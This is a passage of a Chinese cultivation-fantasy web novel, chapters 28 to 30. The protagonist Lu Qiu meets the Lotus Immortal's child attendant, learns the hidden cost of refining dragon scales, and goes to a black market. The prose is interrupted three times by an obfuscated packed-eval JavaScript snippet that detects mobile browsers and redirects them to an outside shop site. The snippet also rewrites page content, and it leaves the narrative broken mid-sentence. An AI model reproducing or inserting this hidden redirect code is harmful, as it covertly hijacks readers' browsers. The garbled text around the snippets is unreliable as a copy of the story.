双手撑着窗沿的陆秋动作没有一丝迟疑,利落的翻进去后把小石像捞出来放在桌上,说:“够了够了,现在这周围的花都被揪的够难看的了。” 小石像貌似还不信,蹦上去探头向外看了一眼,又沉默的缩了回来,与陆秋对视时还有种一言难尽的感觉。 半晌,它才说道:“关上窗吧,快黑天了。” 陆秋把窗子关上,有点好奇天黑会发生什么,于是问道:“为什么要在日落前回来?” “因为日落后会有可怕的东西出现。”小石像蹦到陆秋面前,用头拱着篮子:“快去熬酱!” “不着急,”陆秋往旁边的椅子一坐,盯着它:“你是谁?” “我?我是娘娘座下的童子。”它原地转了一圈,貌似很自豪:“为了保证浮海城人们的安全,我们可是要附身在一些像上的。” “哪个娘娘?”陆秋把这几天知道的神都想了一遍,只想到离这里最近的送子娘娘,如果是送子娘娘,有这么多童子也是不稀奇的了。 小石像左右晃着:“是莲花娘娘。” “莲花仙人?” “嗯……嗯。”它不晃了,可能是感到苦恼:“可以这么说……” 陆秋知道他想的与小石像属于的是同一个神了,又感到好奇:“你为什么喊她娘娘啊?” “就是莲花娘娘,莲花仙人是你们喊的。”它站在那儿,灰扑扑的看着像刚从垃圾堆里捡出来似的:“以前都喊莲花娘娘,但人们只向娘娘求子,有什么事还是去找别的神仙,可是娘娘又不能送子,时间久了便没人参拜了,娘娘只好改了名字,又下凡间,才让你们重新建庙烧香的。” 陆秋也沉默了,小石像的声音听着和几岁的小女孩一样,但听她这么一说,人家可能从一开始就跟着莲花仙人了,年龄没准是他的十倍还得翻一番。过了好一会,他才问了个和这毫无关系的问题:“刚刚的地方是哪里?” “是娘娘的花园。”她看起来有些不好意思:“虽然是娘娘的,但从来不打理,你摘了也没事的,大不了做好鲜花饼给娘娘送去当赔罪了。” “不是……”陆秋有些傻眼了:“我摘了别人的花……为了赔罪,把花做成点心给人家?” “有什么不行吗?” “哪里都不行啊!”陆秋刚刚还觉得小石像应该挺可靠的,没想到竟然这么乱来。 “哎呀,听我的准没错!”小石像又给他打气:“没关系的,娘娘反正又不在意那些花,出事我来背!” 正当他们大眼瞪小眼时,门外突然传来了老头的声音:“太阳晒屁股喽还不起来,还做不做点心了?” 陆秋下意识抓住小石像藏起来,结果就在碰到石像的瞬间,一个魂体突然从石像中飘了出来,触感像是一团冰凉的糯米滋,直接缠上了他的小臂,冰的他一激灵。 “喂!”他小声的用气音斥责道:“干嘛突然缠上来!” “哎呀,你别让那老头发现我,不然他给娘娘告状!” 听到这里,他只能朝门口喊到:“马上出去,我正换衣服呢。” 老头在门外故意大声叹气:“懒死了,比我这老头子休息的时间都多。”不过他还是走开了,还提醒陆秋:“我先去发面了,你换好衣服直接过来吧。” 门内一人一鬼终于放下心来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395945|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆秋看着挂在自己小臂上的女童感到一阵无奈。 女童是魂体,没什么重量,她双手死死扒着陆秋的小臂,上半身都趴在了上面,整个背弯的就像虾那样,双腿还时不时弹一下把自己往上带,以免自己滑下去。 “好了,下来吧。”陆秋弯腰,同时把胳膊放低,让女童的脚能碰到地面。她的脚在地上试探了两下,确定踩实才慢慢松开手。 女童一落地,就抬头期待的看着他:“快去做点心!” 陆秋只好心虚的一手拿着篮子,一手牵着女童向厨房走去。等到了门口,他下意识把女童往身后藏,但女童像是早就知道般握上他的储物戒,附进了芥子空间中。 “你?”陆秋呆呆的看着戒指,使劲掰了几下发现女童怎么都不出来,便焦急的催:“快出来,里面的东西不许碰!” “我不碰!不碰!”女童在储物戒中死活不出来,一个劲的保证自己不乱动,还晃的陆秋的手都不受控制的弹了好几下。 正当他们争得起劲时,门就被老头“刷”的一下拉开了,他瞪着眼,看向掰手的陆秋,问道:“不会做点心就这么紧张吗?都搁这掰手了。” 陆秋哭笑不得的跟着老头进屋,刚把那篮子花放到灶台上,就被老头追问道:“你这花哪儿摘的?” “我芥子空间存着的。”陆秋嘴硬,同时还不忘把女童又往储物戒中塞了塞。 “行。”老头答应下来,伸手往花瓣里一抓,随意揉了几下,背着手像是在夸赞:“可以,都挺新鲜的。” “那当然。”他打着哈哈向糊弄过去:“我想熬鲜花酱的。” “熬啊。”老头侧身给他让出台子,但陆秋并没有动,只是和上次一样盯着老头看。两人面面相觑,在一阵寂静中,老头抬手敲了两下陆秋的头,骂道:“我就教一次!” “好耶!”女童在储物戒中小声欢呼了一下,但被陆秋猛地摁住,只好闭了嘴,安安静静看着老头教怎么熬花酱。 “怎么想着要做花饼的?”老头看着火候,坐在一旁的小板凳上等着往里面扔柴火。 “想到了,就做了。” “你倒是洒脱。”他哼了一声:“以后可不能这样,不然要吃亏的。” “我一般都是准备好了才做的。”陆秋也拉过板凳,让老头往一旁靠靠,他也想烧火。老头往墙边挪了一下,又将柴火往他那里扒了两下:“给,在这烧吧,别烧灭了。” “我还能让它越烧越小吗!”陆秋信誓旦旦的保证。但是当他往里面扔了一堆柴时,不断有烟飘了出来,还真有越来越小的样子。 老头不紧不慢的把一旁窗子打开,用一种“我就知道会这样”的眼神看着陆秋,然后挥手让他走开:“去去去,别帮倒忙了。”陆秋心虚走开,尴尬的拿起一旁的扫帚开始扫地,像是此刻再不做些什么就会很尴尬,扫地也只是避免老头看见自己的窘迫。但还没扫两下,老头把火又烧起来了,语气无奈:“你还是……” 话还没说完,陆秋又因扫帚抬得太高而把,把放在台上的一篮花给打翻了,两人大眼瞪小眼,陆秋想着也许自己的形象还能拯救一下,便开口道:“我平时行动很利索的,今天是意外!” “确实利索,一天能翻六百个抽屉找鳞片,”老头叹气:“所以厨房是有什么咒术吗,把你变成这手脚不协调的样子?” “哈哈——”女童在芥子空间中笑出了声,因为除了火燃烧木柴的噼里啪啦的声音就再无其他动静,所以她这一声就显得格外刺耳。她自己貌似也察觉到了,这次陆秋没有摁住储物戒,她也一动不敢动了。 “你藏了什么?”老头神色迅速严肃起来:“滨水宗这段时间本就不太平,你又从哪里搞来的小鬼?” 陆秋沉默不语,但还是把女童抖了出来,那女童从芥子空间一出来就躲在陆秋身后,和陆秋一起罚站。老头本来很严肃的表情突然有了一丝一言难尽,瞪着眼问道:“你怎么又来了!” 28. 莲花仙人(3) “娘娘在这里,我还不能来吗?”女童说起莲花仙人,貌似又有了几分底气,叉腰道:“年轻人,不要太张狂了,我虽然是娘娘坐下小童,但地位比你高得多。” “哼。”老头脸上突然出现一抹冷笑,从上方的柜子中拿出一尊小小的石像,说:“那花在这里可种不了,是你又偷偷带这小子去摘的吧?” 女童嚣张的神色一滞,直勾勾的盯着石像,没有嘴硬:“这么说也算是吧……” “仙人让你摘了?”老头笑眯眯的问她,但手却是纹丝不动举着石像的。 “呃……这个……”女童答不上来,偷偷在后面扯陆秋袖子,想让他给自己解围。陆秋知道是自己摘的和自己脱不了干系,眼一闭承认道:“是她带我去的。” 听到背后女童吸气的声音,他回头望了一眼,发现女童瞪大双眼一副“你怎么就承认了”的表情看着他。老头把石像放回原处,斥责道:“还不快把花瓣全都拾起来洗干净!” 陆秋如蒙大赦,用灵力一把将花瓣全都收回篮子中,拎着篮子刚要跑,就听见老头在后面喊他:“你用竹篮打水啊?拿个盆!” 他刚要跑回来,那女童就熟练的从桌下抽出个大盆,抱着盆就拽着他一起跑出了门,留老头一人在屋内烧火。 陆秋没想到她能跑的这样快,自己跟在后面都有些费力,还要保证花瓣不飞出来,有些恼的喊道:“跑慢点,花都要飞出来了!” 女童这才减了速度,把盆顶在头上,慢悠悠的走着:“刚刚吓死我了!” “你也吓死我了。”陆秋调整呼吸,迫不及待的问她:“你到底多大了,怎么还管玖长老叫年轻人?” “他才多大?”女童皱眉:“五百岁都没有,很年轻了。” “可是现在四十岁都算是中年了啊?” “不一样的。”女童摇头否定道:“你在人间,自然会依照人间的寿命来评判,一百岁都难见,可我们是神,是修行者,最少也要一百岁吧?” “你几岁?”陆秋反问。 “我可是从这个世界诞生就存在了的。”她又骄傲起来:“不过一直在沉睡,后来由娘娘将我叫醒了。” “啊?”陆秋感到有些不可置信,又问:“你醒了多少年了?” “两千来年吧?”她双手抱胸,语气得意:“我可是经历过很多事情的哦,可别小看我。” 经历过很多,但是摘个花都不敢说。陆秋无语,但还是没把这话说出来,只是敷衍道:“嗯嗯,好厉害呢。” 陆秋看着盆,突然觉得精神上的头痛,他揉揉太阳穴说道:“我们明明可以直接用灵力清洗,为何还要带个盆……”他叹气,喃喃自语:“坏了,我怎么也没脑子了。” 女童头顶着盆,双手举起从两边握住盆边避免盆掉下去,一双大眼睛溜溜的转着,小声提醒道:“反正要等好久呢,做花饼的话,腌制也要很长时间的。” 二人面面相觑,还是陆秋主动把盆从她头上拿下来,还顺便把头顶几根翘起来的头发往后顺了顺,不让看起来那么炸。 他转过身,把盆夹在一条胳膊和腰间,另一只空出来的手主动向后伸。女童握上他的食指,一蹦一跳的紧跟在后面。 “还没问呢,”陆秋胳膊被她甩得一晃一晃的也不恼:“你有名字吗?” “娘娘都喊我闺女。”她丝毫不觉得有什么不对劲。 “我总不能喊你闺女吧?”他哭笑不得:“名字啊,是名字,平时老头怎么喊你的?” “他喊我‘喂’或者‘你’。”路过围墙时她揪了把一旁墙上的叶子,发现汁液粘手又悄悄往墙上抹了几下。 “那我要怎么喊你?”陆秋装作没看见,心里有些苦恼,莲花仙人的童子自然是她的所有物,名字又是一种链接,所以在这里他问女童名字貌似有些犯忌讳了。 “嗯……”她歪头靠向拉着陆秋的那条胳膊,眼睛已经转到了屋檐上筑了许久的燕子窝,不知道她到底在想什么。 “你自己想一个名字吧,以后要是再见面我能找你的。”陆秋把她的手往上拉了拉,避免她因为走神而被门槛绊倒。 “你就叫我小鸟吧。”她“哎呦”一声,蹦过了门槛,把身后的披风一挥,看起来和羽翼未满的幼鸟是有些相似的,这样一来,这个称呼也是合情合理的了。 陆秋看着她,想起老头藏的这么多的石像,对老头之前和他说的话心底突然有了一丝怀疑,便故意问她:“你和老头关系不好?” “我才不是小肚鸡肠的人!”她哼了一声:“我才不和小孩子计较。” “嗯嗯,”陆秋点头继续哄她:“老头为什么要藏那么多石像啊?” “娘娘的信徒,就要有娘娘的像啊。”小鸟有些奇怪的看着他:“娘娘给了他这么多好处,总不能白给。” “给了什么,至于要这么供着?” “没有娘娘,他根本没法当长老。”小鸟叉腰得意的说道:“咱家娘娘可是救过他许多次哦,不然就凭他自己,这辈子都不可能出人头地。” 陆秋面色不变,实则心中一紧,看来老头也瞒了他许多事情,而且不知其中是否还有极为关键的部分。 他本放下的心又悬了起来,细细梳理着二人说的矛盾点。老头说自己是当了长老后才遇见的莲花仙人,其中除了秋络是莲花仙人送来的,就再没提过其他许下的愿望。虽然他当时的语气不屑,不把莲花仙人当做正神,但这几天发现他又藏有这么多小神像,这么一看确实是小鸟说的更像真相。既然无求于人,又何必去祭拜呢? “你说……”他努力将语气放轻松:“我把鳞片炼化了,有什么好处啊?” “炼化后你会获得力量啊。”小鸟感到奇怪:“那家伙没和你说吗?” “可是我炼化的都痛死了,”他故意弯下腰去,手向后扶住脊柱,表演给她看:“炼化后副作用也难受啊。” 其实老头根本没和他说过副作用,所以他心中有疑,不太相信这世上还有纯粹的便宜能占。小鸟顺着他的话说下去,但越说越让他心寒:“确实,现在疼是真的,但是以后你若不时时压制,是会被对方压过去的,到时候他可以把你的灵根拆掉,变着法折磨你。” “还要时时压制?”他眼前一黑:“如果让他反噬了呢?” “就和被下了蛊是一样的啊。”小鸟像是来了兴趣,给他细细讲:“反正他最重要的部分在你灵根里了,除非拔了灵根,不然天涯海角都能找到你,而且想让你怎么做就能怎么做。” 陆秋已经在考虑怎么挖灵根了,他们本就是盟友,自己联合别人本身就不占理,现在又背刺了柳容柯,这要是让逮到不得把他生吞活剥了。他抱着最后一丝希望,将领子扯开让小鸟看脖颈处的妖纹,问道:“你知道这是什么吗?” “监视啊。”小鸟仔细嗅了嗅:“还是化龙期的蛟的监视印记。” 陆秋的心彻底悬着下不来了,他向莲花仙人寻求帮助是因为害怕柳容柯的利用,而老头又不告诉他炼化的副作用,难免会觉得自己又被骗了。 不过都走到这一步了,再逃避也是没用的,目前只能靠着他的临场发挥。他不知道老头的目的是什么,因为不可能会有无缘无故的好,所以他才会有防备。 “你怎么了?”小鸟的声音把他拉回现实,他摇摇头,看似是在回答小鸟,实际上是企图把脑海中的杂念甩出去。 “灵根里那些鳞片力量要怎么压制?”他还是决定把主动权掌握在自己手中。 “就像是……嗯……”小鸟思考了一下:“和压制心魔是一样的。” 陆秋短暂的松了口气,看来他还可以有缓冲的时间。正当他这么想着,就发现玉简亮了两下,打开来却发现是一直保持沉默的云栖月给他发了信息。也不是什么好消息,张掌门已经正式继位,而且新的值班人名单也已经发布,估摸着半个月内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只觉面前一阵清风吹过,睁眼便是莲花仙人一条手臂撑在桌上,另一手托着下巴,居高临下的看着他。陆秋抬头看去,莲花仙人伸出手指,在他额头上轻点了一下,说道:“我知道你在想什么。” “您想让我做什么?”他认真的看着对方。 对方却双手交叠撑着下巴,一双柳叶眼无神但又带着些许慈悲,像在欣赏什么似的说道:“在我的计划中,你是不可或缺的一环。” “为什么一定是我?”他不解。 “不仅是你,我的计划中有着所有生灵。” “你不必担忧,我不会害你的。”莲花仙人又一次强调:“当然,你怎么想的都无所谓,因为只有我能护你。” 陆秋刚刚被点了一下额头,不知莲花仙人用了什么法术,让他的那些不满与愤怒在渐渐消散,只剩下无奈。貌似真如她所说,在绝对的力量压制之下,自己是没有任何选择的。 但他还是忍不住的问道:“那为什么不提前给我说炼化鳞片的副作用?” “你问了吗?”莲花仙人反问。 “问了,但是老头给我说没什么副作用。” 莲花仙人挑眉反驳他:“所以你就信了?” “我……”他一愣,支支吾吾的解释:“我觉得不会很严重的。” “确实不严重啊。”她又安慰陆秋:“有我的压制,他不敢动的。” “可是……”他要说的话突然一个急刹车停在嘴边,但一阵头晕,嘴就不由自主的动,话就说了出来:“你要是把标记撤回了呢?” “看你表现。”她补充:“我要你做的事情做好,有用我才会保你。” “你要我做什么?” 这样一来话题貌似又回到了原点,但这次莲花仙人给出了一个明确的任务:“我要你收复柳容柯,并在滨水宗留下分神作为眼线。” 29. 莲花仙人(4) “我?”陆秋懵了:“不是,我才金丹期,我想要留下分身还得等元婴往后的。” “化龙期的可以。”莲花仙人摆摆手:“反正你是他主人,你让他做事。” “哦……”他努力压制住抽搐的嘴角,又问了一句:“可一开始我和他是……” “你都走到这一步了,还有后悔的余地吗?”莲花仙人轻笑:“你无非是想装出好人的模样,谁都不想得罪,结果把谁都得罪了。” 陆秋心头一紧,这句话戳到了他的痛处:“我不想参与这么多事而已。” “你要不要仔细回想一下这件事是谁引起的?”对方笑眯眯的提醒:“目前来看是你呢,无论是值班人本体的发现,还是张掌门想要换掉值班人,都少不了你的推动呢。”见陆秋看向她,她又说道:“是你先参与其中的,我才能找到你。” 陆秋没有话说了,抿唇思索着,就听莲花仙人还嘲笑道:“柳容柯也是病急乱投医,把你拉了进来,不过自己犯蠢也没办法,被人收了也是咎由自取。” 反正谈话很潦草的结束了,但目标却清晰了起来。值班人很快要被换掉了,他也必须抓紧把剩下的一点鳞片炼化,等收复柳容柯后找个身份把分神安排进来,还要再把云栖月那边应付过去。 一想到又要炼化鳞片,自己尾骨就不自觉发酸,疼了起来。这时他的袖子被拉了两下,他转头看见恢复成小女孩的小鸟一手扯着他的袖子,一手拿着一个药瓶,说:“这个能麻痹疼痛。” 陆秋一脸“你怎么不早点给我”的表情接过药瓶,神色复杂,还没开口就被打断:“今天才练出来的药。” “哦。”他收下了,正盘算能用几天时,小鸟又是一句话,和催命一样:“今天全部炼化完。” “啊?”他颤抖着手指指向自己:“我?” “快点,值班人已经被换掉五个了。”她催促:“不出意外的话后天就要全部换掉了。” “怎么这么快?”他皱眉追问:“云栖月那边消息……” “出变故了。”小鸟回答:“那条鱼被发现后就一直被关注着,而且这几天舆论越来越多,掌门压力很大,唯一能做的就是尽快更换自己的势力。” 花饼让老头去做吧,我得去炼化鳞片了。 陆秋边这么想着,边小跑回去,把花瓣往桌上一放就拿浴衣去后屋的温泉,表情坚定的像是要去赴死。 刚要脱衣服,突然他又探头:“你把花瓣给老头,让他熬酱。” 事实证明药很有用,但小鸟并没告诉他怎么用。他拔开瓶塞发现里面是液体,觉得应该是服用的药类,入口清凉但苦涩,还有股刺鼻的红糖味道,更让他认定是这样使用的。 开始炼化时是信心满满的,还没过半柱香的时间,上半身就趴在温泉边了,脊柱依旧疼的眼前发黑,丹田却没有感觉才让他意识到这个药是涂抹的。 虽然痛苦,但终究有炼化完的时候,等丹田恢复知觉时,他发现修为竟然提升了一大截,一股强劲的灵力在金丹旁游荡,等待吸收。 只能说不愧是化龙期的蛟,这些吸收完都能从金丹初期到金丹后期了。他用手撑着温泉边上的石头想要起身,腰部稍微用力,又因为刺痛趴到了地上。 算了,虽然疼了点,但是收获多啊。陆秋这么安慰着自己,突然觉得人生也不是很无望了。又在地上趴了一会,就听见外面小鸟的声音在喊他,他一手扶着后腰一手扯过浴衣披在身上,隔着门问道:“什么事?” “娘娘说那条蛇要醒了。” “啊?”陆秋一把拉开门,震惊的问:“什么?” “今晚能醒。”小鸟点头。 “今晚他会来找我吗?”陆秋皱眉思考该怎么应对。 “绝对会的,他虽然被挖了鳞,但仍然能感受到你这边的情况。” “我……今晚就不休息了。”陆秋双手抱胸,又下意识的咬着下唇:“我该怎么办?” 小鸟双手叉腰,盯着他:“事已至此,先吃饭吧。” “现在是吃饭的事情吗?”陆秋无奈。 “对啊,老头做好花饼了,娘娘也在那里。”小鸟扯扯他的浴衣袖子:“快点,晚了娘娘就走了。” 听她这么着急,陆秋衣服也来不及换了,跟着小鸟拔腿就跑,发现小鸟跑的比他慢,干脆把她拎起来夹在腋下跑,两次脚下打滑险些摔倒。 当陆秋气喘吁吁到达大堂时,却发现只有老头一人,他心里突然一沉,想着还是来晚一步,莲花仙人已经走了。 他走到老头一旁坐下,问道:“莲花仙人走了?” “什么?”老头皱眉:“她没来啊。” 陆秋愣了一瞬,随后迅速转头看向一手拿一个花饼正在狂吃的小鸟,突然意识到自己被耍了,他怒极反笑:“你骗我?” 小鸟腮帮鼓鼓的,眼珠转来转去就是不和陆秋对视,陆秋也拿她没办法,只好叹气向后倚在椅背上,放松许多,至少今晚没有什么安排,但老头这时打破了沉默:“滨水宗要变天了。” “嗯?”陆秋假装不知道,等着老头说。 “值班人在十天内会全部撤换,宗门内每个部分都要重新安排人。”老头看上去有些疲惫了。 “你会被换走吗?”陆秋眨巴两下眼,虽然知道有莲花仙人的庇护下老头是不会轻易地被移走,但说不准呢? “不会走,但要有很多人来了。”他担忧的看向外面那一片草药:“你知道的,有好孩子就有坏孩子,但其中变数太大,要担心的事情太多了。” 陆秋心虚的摸摸鼻子,因为他还要再安排个眼线,到时候没准还要送到老头这里来,只好安慰老头:“往好处想,至少有生气了。” 老头重重叹了口气,陆秋这才想起来隔壁就是鬼修重地,要是安排进来的都是鬼修,那最后一点生气都没有了。 毕竟鬼修都是死的。陆秋这时又突然想到秋络也是鬼修。那我是鬼生的,我是鬼胎? 鬼胎大多是能从母体中吸取灵力的,历代鬼王几乎都是这种出身,若自己一开始也修鬼道,那么…… 老头看他思绪越飘越远,虽然不知道他在想什么,但一定是和事情毫无干系的,便敲敲桌子提醒:“回神了!” 陆秋被老头这么一喊,直接问道:“那我能当鬼王吗?” “啥?”老头傻眼了,一旁吃饼的小鸟也愣了,两双眼睛同时盯着他,不理解他到底是怎么想的。 意识到自己说错话了,陆秋连忙摆手解释:“不是不是,我瞎说的,别在意。” “以你现在的实力就不要想了。”一道清亮的男声传来,三人的注意力都被吸引去了。只见一位和陆秋差不多大的少年慢悠悠的走了进来,随意挽的发髻上插了根精细的白玉簪。陆秋看他十分眼熟,那种慵懒又贵气的感觉仿佛在哪里见过,正当他还在回想时,那少年已经坐下,一手拿起花饼,另一手在下巴处接着掉下的碎屑慢慢吃着。 “有点凉了。”他评价道:“也不够甜。” “没糖了。”老头板着脸怼他。 “要我去找找吗?”少年挑起一边的眉毛,瞥了老头一眼。正是这个动作,陆秋一下意识到这是莲花仙人,因为此刻小鸟也不吃了,悄悄在桌下把手擦干净,像是怕被看见。 能让小鸟这么害怕的也就只有莲花仙人。 陆秋这么想着,但又不知开口说什么,毕竟老头都不敢说话,他也没那个资格再问莲花仙人来这里做什么。 反正肯定是有事。陆秋这么想着,他总不能就是来吃饼的吧? 吃了两个饼,莲花仙人拍拍手上的碎屑,看向陆秋:“你连秋络的实力都没有,想当鬼王还得等段时间呢。” 陆秋的脸一下就红了,他没想到自己天马行空的想法还有人会回答,支支吾吾的转移话题:“那……小鸟说,柳容柯马上就要醒了……” 莲花仙人静静看着他,等他说完。 化为人形时压迫感就少了不止一星半点,陆秋这时也有勇气和对方对视了:“可是……这也太快了吧?明明都是正常的发展,怎么一点消息都没有就突然有这么多事。” “这才是开始。”莲花仙人摆手:“你总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395947|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能一直都在安全区吧?” “哪里安全了?”陆秋反问。 “确实太安全了。”老头默默说道:“秋络总是手把手教你事情,不放你自己去闯荡,导致你一遇到事情就想求助。” 陆秋感觉受到了冒犯,但是老头说的也不错,要反驳还真没有理由,再加上是长辈的缘故,他也只好只好闭嘴听训。莲花仙人拎起一旁的小鸟,让她不要偷偷摸摸拿花饼,低声训斥道:“平时亏待你了?跑这里跟饿死鬼一样。” 小鸟不敢动了,眼巴巴的看着近在眼前的盘子,又看看陆秋,像是想让陆秋劝莲花仙人让她吃花饼。陆秋和她对视一眼,又立刻移开目光,装作没有看到。 你都不敢说话,你让我说?陆秋在心里嘀咕,沉默了一阵,回到正题:“所以……接下来该怎么办?” “你在滨水宗已经呆够了,换地方呗?”莲花仙人暼了他一眼,但又立刻否定了:“不行,再等等。” 陆秋看看老头,再看看他,最后在桌下偷偷把要爬到他腿上的小鸟揪了下来。 “我已经知道你的目的了。”莲花仙人清清嗓子:“虽然我不能把现成的给你,但可以给你指明方向。”他拎着小鸟的后衣领把小鸟放在一旁的椅子上坐着,说道:“你做你的事,有事我会找你的。” 陆秋只好答应下来,确认没有事情之后就示意自己先回去休息了。在即将跨出门槛的瞬间,他回头望向刚才的桌子,发现只有老头坐在靠窗的椅子上发呆,不仅是莲花仙人和小鸟,就连桌上的点心盘都消失的一干二净,仿佛刚刚只是一场幻想,转瞬即逝。陆秋突然就明白了老头身上那种孤独感是怎么来的了,但他也只是悄悄离开了,没有打扰老头。 他很想问问秋络是不是她向老头说了自己的目的,想要自己编心法。但老头的话一直回响在他的脑海中,导致一种异样的厌恶从心底涌了上来,让他不想联系秋络。 以前他的每一步总是在秋络的安排之中,这次又是,轻而易举把自己安排的明明白白。陆秋在门外踱步,手中拿着竹牌,上面的字亮了又熄灭,如此重复了好几遍,他气愤的将竹牌扔进芥子空间,拿出玉简直接联系了云栖月。 云栖月可能也正在使用玉简,便瞬间和陆秋联系上了。对方那边的声音带着一丝嘈杂,还有风声,陆秋正等着他开口,就听见自己屋顶一声轻响。他带着疑惑的眼神看向房梁,就听玉简和房顶同时传来的声音:“去不去黑市?” 陆秋两步迈到院子中,抬头看向房顶,只见云栖月双翼不像往常那样收着,看见陆秋注意到自己,双翼还扇了两下,又问了一遍:“去吗?” 陆秋忙答应着:“去,你等我换个衣服。” “我在这等你。”云栖月不急不忙的点点头,坐在屋顶上。 陆秋匆匆忙忙的从柜中掏出一身黑衣换上,将头发随意在脑后扎成一个马尾辫,拿披风的时候也不忘把挂在墙上的剑一并取下。在将要推开门的时候,他突然想起还有思尘。如果装在储物戒中无法第一时间拿出来用,但就这么拿着又太惹眼,随便挂在身上还容易被摸了去。他想了想,还是决定放在芥子空间的最外层。 出了房门,他跳上剑来到云栖月身边,云栖月也瞬间收了玉牌,挥翅示意他跟上。 “你怎么知道有黑市的?”陆秋问他。 “杜漓带我们来过好几次了,你搬来这里,我们担心你有事就没叫你。”云栖月飞行速度比陆秋快得多,便放慢速度边和他聊天边赶路。 “每天都有吗?” “每天都有。” “那你淘到什么好东西了吗?”陆秋以前也去过,不过感兴趣的没多少,所以想看看云栖月能买什么东西。 “还没呢。”云栖月叹气:“都是些常见的玩意,真有稀罕的宝贝都在拍卖会里呢。” “那你还来?”可能是太久没出来透气的缘故,又或者是云栖月本身就带有的松弛感,让陆秋这几段时间紧绷的神经放松了许多。 “我不买,我逛逛不成吗?”云栖月也笑:“买不买不重要,还得是有那个感觉。” 30. 反噬(1) 就是平日里的街道,云栖月带他拐了好几个弯才来到一处死胡同里,未等陆秋说话,他便抬手掐决,将墙轰开了。 刚刚爆炸般的动静引来里面人的注意,都看向他们二人。云栖月像是没有看见他人的目光,收起法器后又拉着陆秋进了黑市。 见他神色自若,其他人也收回了目光,只有陆秋还呆呆地任他拉着走。走了几步才想起来墙还没补上,回头看却发现那仍然是一面墙,像是什么也没发生过似的。 看来是能够自动修补的。陆秋松了口气,低声问云栖月:“那墙真是那样开的吗?” “本来有咒语的,还要符咒,但是太复杂了,后来发现能直接打开就懒得学咒语了。”云栖月将二人的手藏在宽大的衣袖下,微微低头凑近陆秋提醒道:“你别挣开,一会我们去换一下衣服。” 陆秋本来想问黑衣有什么不对,但突然意识到是自己身上那股仙修的气息太浓,在这里这么大摇大摆确实更惹眼。他往云栖月那里贴近了一点,余光扫到一家服饰店,催促道:“先换衣服,之后再逛吧。” 两人刚进店,坐在前台的老板娘就急忙迎了上来,满脸谄媚的笑:“二位想看看什么?” “给他买身合适衣服。”云栖月倒是和个大爷似的,随便往椅子上一坐,翘着二郎腿开始看衣服。 能在这里开门店,老板娘也是个会来事的,她看看随意且阔绰的云栖月,再看看穿着虽简单但贵气的陆秋,不知道脑补了什么,又悟了什么,拍着手给云栖月保证:“绝对把人给你收拾的整整齐齐的。” 老板娘拉着陆秋往店里面走去,用长杆将几件衣服从高处挑下来让陆秋试穿。只能说老板娘品味是极好的,放在外面至少也是那种小有名气的裁缝。衣服很合他心意,无论是款式还是造型,在老板娘的搭配下显得十分自然。 他换好衣服,在水镜前欣赏自己。黑色便衣被换成水蓝广袖长袍,衣襟与下摆处有大片水滴状暗纹,通过烛光倒显出真水花的感觉来。只有蓝白的颜色与这些暗纹多少还是有些素了,于是又配上颜色更深些的宽腰带。陆秋看着光秃秃一条腰带,从芥子空间掏出思尘,几下用红线编成红绳拴上思尘,围腰带缠了一圈,在腰后打了个结,又在绳尾加了流苏。调整位置把思尘正放在腹前,陆秋转了一圈觉得可以了,却被老板娘拉住摁在椅子上收拾头发。 “头发可以不用……”陆秋撇嘴刚要制止,老板娘就熟练的将他发带解开,嘴里夸道:“这头发是真厚实,连发包都不用了。” 听到别人这么夸,陆秋也不好意思再开口,只能让老板娘随意摆弄头发。陆秋保持着姿势不动,余光偷偷瞄着一旁闲的看玉牌的云栖月。云栖月感受到了他的目光,一手撑着头,上下打量陆秋,随后两手一撑站起身来,晃到陆秋身边,托着下巴从一旁的首饰盒中挑挑拣拣,最终找到个带着红流苏的银耳夹出来。 他将耳夹比划到陆秋左耳处,看着水镜,低头刚要给他戴上时发现陆秋左耳耳垂竟有一颗小痣,不知是出于什么心理,云栖月愣了一下,从后方绕过去将耳夹戴在了陆秋右耳上。 陆秋没在意他,还觉得是因为老板娘把头发盘的偏左让云栖月看着不对称才换到右耳的。头发也做完了,他向右侧头看着头发上的浪花状饰品,伸手又向上扶了一下,随后抬头看向云栖月。云栖月看着他刚刚由于转头而轻微晃动的流苏,嘴张了又合最终也只吐出“好看”二字。 陆秋也觉得好看,满意的和老板娘聊了几句便询问价格:“这一套多少钱?” “五千灵石吧,往常都卖到八千的,这衣服是上好的天丝绒材质,不仅防水,还能挡天雷。”老板娘又指指他的耳夹:“耳夹和头饰就不收钱了,你没看你那个朋友看的眼都直了。” 她跟陆秋说悄悄话,时不时往不知在想什么的云栖月那里看一眼:“你俩到底什么关系?” “就是普通朋友。”陆秋哭笑不得:“好久没见,一起出来玩玩的。” “那难怪了。”老板娘神情恍惚:“本来看你俩有点暧昧,朋友的话那……也没什么。” 陆秋本来想着这一身多少得在一万往上,一听只有五千便痛快的支付了,又对着云栖月招招手喊到:“走了。” 